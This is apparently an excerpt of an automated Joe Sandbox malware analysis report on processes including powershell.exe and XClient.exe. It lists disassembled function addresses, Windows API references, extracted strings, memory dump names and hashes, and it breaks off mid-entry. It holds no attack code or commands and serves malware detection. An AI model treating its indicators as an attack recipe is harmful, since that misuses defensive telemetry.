Opcode Fuzzy Hash: 652ac8178d02f9bf502bb0dac840cc2c27021cfa98e1c84195502d2d1921a3a9
Instruction Fuzzy Hash: FB417031A0860285EB1AAF219D401BCB3A6FF547A4BA54039ED4E47B85DE3DD481CB60

Function 00007FF72C66CC38 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF72C66CD4F
GetLastError.KERNEL32 ref: 00007FF72C66CD71

Strings

U, xrefs: 00007FF72C66CCFB

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 4f5d94246872f2193e537bc66f33c90add5f7e97f4787e66017fcfb3b1ebd6d4
Instruction ID: 7c5b059ea10da6695cd57e5382a94c849e9edd373851d585ba448e8953ba70c0
Opcode Fuzzy Hash: 4f5d94246872f2193e537bc66f33c90add5f7e97f4787e66017fcfb3b1ebd6d4
Instruction Fuzzy Hash: AD41E532718E8191DB219F25E8443A9B7A2FBA87A4F904135EE4D87788EF3CD401CB60

Function 00007FFBA43D3420 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

00007FFBC92F6570.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFBA43D3490

Strings

_constructors, xrefs: 00007FFBA43D351A
openssl_, xrefs: 00007FFBA43D3486

Memory Dump Source

Source File: 00000008.00000002.1949877226.00007FFBA43D1000.00000040.00000001.01000000.00000018.sdmp, Offset: 00007FFBA43D0000, based on PE: true

Associated: 00000008.00000002.1949827954.00007FFBA43D0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000008.00000002.1949877226.00007FFBA43DD000.00000040.00000001.01000000.00000018.sdmpDownload File
Associated: 00000008.00000002.1949877226.00007FFBA43E0000.00000040.00000001.01000000.00000018.sdmpDownload File
Associated: 00000008.00000002.1950013415.00007FFBA43E1000.00000080.00000001.01000000.00000018.sdmpDownload File
Associated: 00000008.00000002.1950056718.00007FFBA43E3000.00000004.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba43d0000_program.jbxd

Similarity

API ID: 00007F6570
String ID: _constructors$openssl_
API String ID: 118773457-3359357282
Opcode ID: 117008ba4b5f8ca73d77553d2b2e8d4ddd83506b125ec0b6d7a7d7bf61da898d
Instruction ID: c80ce811392c308ebd37866dcf9433f7e70a4bbdc64e0658733aba577d957777
Opcode Fuzzy Hash: 117008ba4b5f8ca73d77553d2b2e8d4ddd83506b125ec0b6d7a7d7bf61da898d
Instruction Fuzzy Hash: F531C7A1A0AF02C2EE168B76E9D423827E5AF49F91F144875CE5D027B5EF3CE9558700

Function 00007FFBA43D59E4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 71COMMON

Download Yara Rule

APIs

00007FFBA6164124.LIBCRYPTO-3 ref: 00007FFBA43D5AB7

Strings

key is too long., xrefs: 00007FFBA43D5A33
msg is too long., xrefs: 00007FFBA43D5A5B

Memory Dump Source

Source File: 00000008.00000002.1949877226.00007FFBA43D1000.00000040.00000001.01000000.00000018.sdmp, Offset: 00007FFBA43D0000, based on PE: true

Associated: 00000008.00000002.1949827954.00007FFBA43D0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000008.00000002.1949877226.00007FFBA43DD000.00000040.00000001.01000000.00000018.sdmpDownload File
Associated: 00000008.00000002.1949877226.00007FFBA43E0000.00000040.00000001.01000000.00000018.sdmpDownload File
Associated: 00000008.00000002.1950013415.00007FFBA43E1000.00000080.00000001.01000000.00000018.sdmpDownload File
Associated: 00000008.00000002.1950056718.00007FFBA43E3000.00000004.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba43d0000_program.jbxd

Similarity

API ID: 00007A6164124
String ID: key is too long.$msg is too long.
API String ID: 1326084662-4266787399
Opcode ID: 4edba86753bbf53e9ed72b284593eff54ee3166e4bb40e5b3186a5f1b6549472
Instruction ID: 6d4942af2cc343f7e0b049a9721c25c27cefc5ab17265389faf7f74daf4b42a2
Opcode Fuzzy Hash: 4edba86753bbf53e9ed72b284593eff54ee3166e4bb40e5b3186a5f1b6549472
Instruction Fuzzy Hash: D4316DA2A0EF82C2EA12CB22E49037963A0FB89B94F444A35DE5D47B74DF7CE0458700

Function 00007FFBA60980D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32 ref: 00007FFBA609811D
SystemTimeToFileTime.KERNEL32 ref: 00007FFBA609812D

Strings

gfff, xrefs: 00007FFBA609815F

Memory Dump Source

Source File: 00000008.00000002.1950129246.00007FFBA6091000.00000040.00000001.01000000.00000016.sdmp, Offset: 00007FFBA6090000, based on PE: true

Associated: 00000008.00000002.1950095632.00007FFBA6090000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6113000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6115000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA613D000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6148000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6153000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950432020.00007FFBA6157000.00000080.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950478595.00007FFBA6159000.00000004.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba6090000_program.jbxd

Similarity

API ID: Time$System$File
String ID: gfff
API String ID: 2838179519-1553575800
Opcode ID: a0b97f4aea56fea0423c07e2c95279f2c9599c66744ee81c656443d2e1a48d07
Instruction ID: c12eb4af9d160b01c4277120f7809184ff5c60f3f1b5136144f09e309b0ebe1d
Opcode Fuzzy Hash: a0b97f4aea56fea0423c07e2c95279f2c9599c66744ee81c656443d2e1a48d07
Instruction Fuzzy Hash: 6A21E3F3A0964686DBA58F39E44027D7AEAE789F84F448035DE5DC7754DE3CD1908700

Function 00007FF72C66F5B8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF72C66F5F8
GetCurrentDirectoryW.KERNEL32 ref: 00007FF72C66F64A

Strings

:, xrefs: 00007FF72C66F60E

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: efdca0e5d1be44ae5d3d1eb4e4dfe397437606097ef32224e0533ff711b04112
Instruction ID: e6e70bc9d0cd5a71794d595a94ef130351871ab5e2c65e8bef176cd5383bb8e3
Opcode Fuzzy Hash: efdca0e5d1be44ae5d3d1eb4e4dfe397437606097ef32224e0533ff711b04112
Instruction Fuzzy Hash: D821F562B0828185EB22AB11D84426DB3B3FBA8B54FE54039D64D83684CF7DE5448F62

Function 00007FFBAA4C2EB0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FFBAA4C3262
capture_previous_context.LIBCMT ref: 00007FFBAA4C327A

Strings

]>mBD, xrefs: 00007FFBAA4C32F4

Memory Dump Source

Source File: 00000008.00000002.1952893577.00007FFBAA4B1000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00007FFBAA4B0000, based on PE: true

Associated: 00000008.00000002.1952857331.00007FFBAA4B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.1952893577.00007FFBAA4CB000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.1952893577.00007FFBAA4D7000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.1953017597.00007FFBAA4D8000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.1953052763.00007FFBAA4DA000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa4b0000_program.jbxd

Similarity

API ID: FeaturePresentProcessorcapture_previous_context
String ID: ]>mBD
API String ID: 3936158736-976336857
Opcode ID: 745c3c7e2ecbac46d3d9f63b96358e37d6256b4498188150111cc3e990b537a2
Instruction ID: 3227f4c58ef33ba79d7fe40d5d2db5dffb5978cf2b869d68881137dea8440503
Opcode Fuzzy Hash: 745c3c7e2ecbac46d3d9f63b96358e37d6256b4498188150111cc3e990b537a2
Instruction Fuzzy Hash: FD21D8B4A0AB02C5FA829F24F85137566A8FF88344F9055B5ED8D863A1EF7DE446C720

Function 00007FF72C65FD48 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF72C65FD98
RaiseException.KERNEL32 ref: 00007FF72C65FDD9

Strings

csm, xrefs: 00007FF72C65FDC6

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: b596af9f6a60738c50b353da5cbad86497326ffe12a5eabfdc94c01c9dae4a3e
Instruction ID: d52d067b7d8bfc96dad9dc48c807845a0d80928504ad2c331d0c2c5901975ec5
Opcode Fuzzy Hash: b596af9f6a60738c50b353da5cbad86497326ffe12a5eabfdc94c01c9dae4a3e
Instruction Fuzzy Hash: B9112E32619B8182EB629F15E840269B7E5FB98B94F584630DB8D07758DF3DD5518B00

Function 00007FF72C67073C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C67076C
GetDriveTypeW.KERNEL32 ref: 00007FF72C6707AC

Strings

:, xrefs: 00007FF72C670795

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 68237dfdc7112287ec82a3b365f776b5c9f6f856de5878160eaa1a8f91e0357f
Instruction ID: de437b14411f05c41366f98addbcf7da6c64e9c8c915a142f4c2d4a1453642d3
Opcode Fuzzy Hash: 68237dfdc7112287ec82a3b365f776b5c9f6f856de5878160eaa1a8f91e0357f
Instruction Fuzzy Hash: EF01842191864385F722BF60986227EB7A1FFA8768FD01839D54D42685DF3CD5098F74

Function 00007FFBA6098B10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?,00007FFBA60983B4), ref: 00007FFBA6098B36
SystemTimeToFileTime.KERNEL32(?,00007FFBA60983B4), ref: 00007FFBA6098B46

Strings

gfff, xrefs: 00007FFBA6098B7A

Memory Dump Source

Source File: 00000008.00000002.1950129246.00007FFBA6091000.00000040.00000001.01000000.00000016.sdmp, Offset: 00007FFBA6090000, based on PE: true

Associated: 00000008.00000002.1950095632.00007FFBA6090000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6113000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6115000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA613D000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6148000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6153000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950432020.00007FFBA6157000.00000080.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950478595.00007FFBA6159000.00000004.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba6090000_program.jbxd

Similarity

API ID: Time$System$File
String ID: gfff
API String ID: 2838179519-1553575800
Opcode ID: e25ff0695230b9ef20f6353c867282db066572866cf8b2610bfc2824b0035600
Instruction ID: 53a3fcbbbdb8a7748ea9ee64eee5f48c79deb23fae11a93c538b12fb88325fb6
Opcode Fuzzy Hash: e25ff0695230b9ef20f6353c867282db066572866cf8b2610bfc2824b0035600
Instruction Fuzzy Hash: BC01FEE2B1554542DF61DB35F80115967D1F7DCB84B449032EA5DCBB55EE3CD241C700

Function 00007FFBAA497E7C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32COMMON

Download Yara Rule

APIs

getprotobyname.WS2_32 ref: 00007FFBAA497EB5

Strings

protocol not found, xrefs: 00007FFBAA497ED8
s:getprotobyname, xrefs: 00007FFBAA497E88

Memory Dump Source

Source File: 00000008.00000002.1952605640.00007FFBAA491000.00000040.00000001.01000000.00000012.sdmp, Offset: 00007FFBAA490000, based on PE: true

Associated: 00000008.00000002.1952566333.00007FFBAA490000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A1000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A3000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A6000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952772594.00007FFBAA4A7000.00000080.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952815760.00007FFBAA4A8000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa490000_program.jbxd

Similarity

API ID: getprotobyname
String ID: protocol not found$s:getprotobyname
API String ID: 402843736-630402058
Opcode ID: bd65c5a6a88a43393fd174900b5279529262fcd64829d65dad74d3ec7435cd69
Instruction ID: 5f5328f38836413f8954341cb03060f73fe994e0e83107b506fced1793bd4335
Opcode Fuzzy Hash: bd65c5a6a88a43393fd174900b5279529262fcd64829d65dad74d3ec7435cd69
Instruction Fuzzy Hash: A4015EA5A1EA42C2EA12CB31E9C407D23A8FF88B84B540471ED4E47B25DF2DE426C320

Function 00007FFBAA493C78 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

inet_addr.WS2_32 ref: 00007FFBAA493CB9

Strings

illegal IP address string passed to inet_aton, xrefs: 00007FFBAA493CCF
255.255.255.255, xrefs: 00007FFBAA493C85

Memory Dump Source

Source File: 00000008.00000002.1952605640.00007FFBAA491000.00000040.00000001.01000000.00000012.sdmp, Offset: 00007FFBAA490000, based on PE: true

Associated: 00000008.00000002.1952566333.00007FFBAA490000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A1000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A3000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A6000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952772594.00007FFBAA4A7000.00000080.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952815760.00007FFBAA4A8000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa490000_program.jbxd

Similarity

API ID: inet_addr
String ID: 255.255.255.255$illegal IP address string passed to inet_aton
API String ID: 1393076350-3844699235
Opcode ID: 228bed37441ba182da163e3ec653cc393a3f059738861f4e152d049502361bed
Instruction ID: f37dd553680df0e616e8ef051ff90420514b177e6f0b70c899febfb0e48bc12a
Opcode Fuzzy Hash: 228bed37441ba182da163e3ec653cc393a3f059738861f4e152d049502361bed
Instruction Fuzzy Hash: A9F044E1A19A02D5EA119B31E8C407D2369AF85750F5411B1FD1E463A5DF2CE46A8710

Analysis Process: powershell.exePID: 2212, Parent PID: 4940COMMON

Executed Functions

Function 00007FFB4A2167FA Relevance: .5, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.1874952484.00007FFB4A210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffb4a210000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dae25da9e49e841a2b2c384bfcd7dafd8429338239d0d41eda6840b85dc88e46
Instruction ID: 21dd8dbbaa7d7384b97dfc812afe18835a671af44063bc1c72fef3a183a27bb7
Opcode Fuzzy Hash: dae25da9e49e841a2b2c384bfcd7dafd8429338239d0d41eda6840b85dc88e46
Instruction Fuzzy Hash: 2BD135B190EA8A4FE79ABF7888145B97FE5EF55310B2800FED44DC7093DA18AD05E391

Function 00007FFB4A1497D3 Relevance: .2, Instructions: 221COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.1873059190.00007FFB4A140000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffb4a140000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83c071af7a63d6228d1271d6682501e39cbcaf00b591b10377b0bf2ff7490555
Instruction ID: ced3a318d4ca9b080845b92749e2ce58d04ac3c0c2a9b95e31485c5e6d10157d
Opcode Fuzzy Hash: 83c071af7a63d6228d1271d6682501e39cbcaf00b591b10377b0bf2ff7490555
Instruction Fuzzy Hash: 5B6104B290D79A4FE706EF3CAC561E97FA4EF53321F1841BBD48887193DA156805CB82

Function 00007FFB4A02E540 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.1871033325.00007FFB4A02D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A02D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffb4a02d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3682e83f9d236c00ae3a12c032e46de12f1dd4ae224df98f9770f55a81654048
Instruction ID: d4626e136ef6458004b01f8ca828a2972f75dc0ac7ec4490c93f707da92f2bef
Opcode Fuzzy Hash: 3682e83f9d236c00ae3a12c032e46de12f1dd4ae224df98f9770f55a81654048
Instruction Fuzzy Hash: 6441FF7180DBC44FE7569F3898559523FF4EF52224B1906EFE088CB2A3D625AC46C792

Function 00007FFB4A14BD8D Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.1873059190.00007FFB4A140000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffb4a140000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99294cc549ab4c3a0e60232f8e1f0a1c61150cbd3bfcaec80403c63aec67338a
Instruction ID: 736edfba5047da56ab7ad163ae396ac574bc01ab011f73c20099f1fcdd13028c
Opcode Fuzzy Hash: 99294cc549ab4c3a0e60232f8e1f0a1c61150cbd3bfcaec80403c63aec67338a
Instruction Fuzzy Hash: D931E171A0CB4C8FDB09DF6CCC496A9BBF0EF66325F0481ABD048C7152D674A419CB92

Function 00007FFB4A1433B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.1873059190.00007FFB4A140000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffb4a140000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: 319a2654301e14d83db52d09acda2423b1527ae014a014e5246e42d121828ff6
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: D001677111CB0D4FD744EF0CE451AA5B7E0FB95364F10056DE58AC3651DA36E882CB45

Function 00007FFB4A14A1FB Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.1873059190.00007FFB4A140000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffb4a140000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 990da04f70c3b23d2ef731954551511ae3f2a52c8661f9a2e67120963b43433a
Instruction ID: e7f3dc23ad12f1ffca9f2eb46e63bc14de933f6762eceb86c5e70e59b55d6558
Opcode Fuzzy Hash: 990da04f70c3b23d2ef731954551511ae3f2a52c8661f9a2e67120963b43433a
Instruction Fuzzy Hash: F4F0A9B650DACD4FD741EF2C98654D5BFA4EF6620174A01EBD548C7051D6125454CBC2

Function 00007FFB4A21432D Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.1874952484.00007FFB4A210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffb4a210000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4730a69714881a91a2e29dfcecc597b6a552ebe5f45706185d41d264e0036d1c
Instruction ID: 891bdc863acb575dcd018d0583c6547b67eeb07a2cc2f86d27acef2060a8aa6f
Opcode Fuzzy Hash: 4730a69714881a91a2e29dfcecc597b6a552ebe5f45706185d41d264e0036d1c
Instruction Fuzzy Hash: 12F09AB2A0DA4A8FD769FE6CE4414A877E0EF8432072100BAE04DC7463CA26EC41D781

Function 00007FFB4A2145E0 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.1874952484.00007FFB4A210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffb4a210000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50700454a81c329c770af13ff5eb64aeab4a799b81ff1d73385ec2123912a849
Instruction ID: 6302502bd8e26701b73eff246f8161e3380cf3eaa41614b384b754ebd544f4fd
Opcode Fuzzy Hash: 50700454a81c329c770af13ff5eb64aeab4a799b81ff1d73385ec2123912a849
Instruction Fuzzy Hash: 70F05EB2A0D9898FD759FF6CE4414A87BE0EF4532576500FAE14DCB463CA26AC40D750

Non-executed Functions

Function 00007FFB4A148BFA Relevance: 6.4, Strings: 5, Instructions: 108COMMON

Download Yara Rule

Strings

L_^6, xrefs: 00007FFB4A148BFA
L_^I, xrefs: 00007FFB4A148C72
L_^<, xrefs: 00007FFB4A148C2A
L_^J, xrefs: 00007FFB4A148C7A
L_^F, xrefs: 00007FFB4A148C6A

Memory Dump Source

Source File: 00000014.00000002.1873059190.00007FFB4A140000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffb4a140000_powershell.jbxd

Similarity

API ID:
String ID: L_^6$L_^<$L_^F$L_^I$L_^J
API String ID: 0-1031638419
Opcode ID: 74387117d6bf6d943dc49a83f9b86094813edf986d57997cae0793b7affaf55c
Instruction ID: 057d798bee7f907878574c82febe72a538855424130af78f963261faaa5bd461
Opcode Fuzzy Hash: 74387117d6bf6d943dc49a83f9b86094813edf986d57997cae0793b7affaf55c
Instruction Fuzzy Hash: 5621F1F77084265E93027ABDBC015EC7384DFD62B6358A1B3D358CB513DA14A08B8AD4

Function 00007FFB4A1486FA Relevance: 6.3, Strings: 5, Instructions: 92COMMON

Download Yara Rule

Strings

L_^, xrefs: 00007FFB4A148712
L_^, xrefs: 00007FFB4A148722
L_^, xrefs: 00007FFB4A1487C2
L_^, xrefs: 00007FFB4A148772
L_^, xrefs: 00007FFB4A1486FA

Memory Dump Source

Source File: 00000014.00000002.1873059190.00007FFB4A140000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffb4a140000_powershell.jbxd

Similarity

API ID:
String ID: L_^$L_^$L_^$L_^$L_^
API String ID: 0-205492149
Opcode ID: 56630d3ed3f1009c97429718eb6ca0bfdfbf8b44a7ff335c7cda22c64974aaa5
Instruction ID: 97e0ac195b012738e4dfa1b00ce1e1f9dcca66ed6d6b5e73809160a50bedc74d
Opcode Fuzzy Hash: 56630d3ed3f1009c97429718eb6ca0bfdfbf8b44a7ff335c7cda22c64974aaa5
Instruction Fuzzy Hash: 073196E390D6D60FE3576F7D9DB50997FD9AF13218B1A41F6C9C44F083EA18284A8A01

Function 00007FFB4A148955 Relevance: 5.1, Strings: 4, Instructions: 143COMMON

Download Yara Rule

Strings

L_^, xrefs: 00007FFB4A148A7A
L_^, xrefs: 00007FFB4A148A2A
L_^, xrefs: 00007FFB4A1489C9
L_^, xrefs: 00007FFB4A148AC2

Memory Dump Source

Source File: 00000014.00000002.1873059190.00007FFB4A140000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffb4a140000_powershell.jbxd

Similarity

API ID:
String ID: L_^$L_^$L_^$L_^
API String ID: 0-2357752022
Opcode ID: e4c0a967b7899bf51469362562e91d86d0393e3cf16a55b07a83efecfd8d3332
Instruction ID: 16e524fd1a838d26bcfc8526b527536dfa5e6c31cbb358b1d2ac48f0c6c44871
Opcode Fuzzy Hash: e4c0a967b7899bf51469362562e91d86d0393e3cf16a55b07a83efecfd8d3332
Instruction Fuzzy Hash: 3D51A5A2A0EAD20FE3171F3C897A195BFA5FF53218B1D42F6C1C54F083EB5918468B12

Analysis Process: XClient.exePID: 7084, Parent PID: 660COMMON

Executed Functions

Function 00007FFB4A132059 Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1800672407.00007FFB4A130000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffb4a130000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e529d4330e83c439931c44d02cbd98beb7bec8b69ee5d61aa32d1a458c4bae5
Instruction ID: d86af1091425f0f372d3e931c3251f6b4702c1f0b273490d381753aa0cc1d238
Opcode Fuzzy Hash: 7e529d4330e83c439931c44d02cbd98beb7bec8b69ee5d61aa32d1a458c4bae5
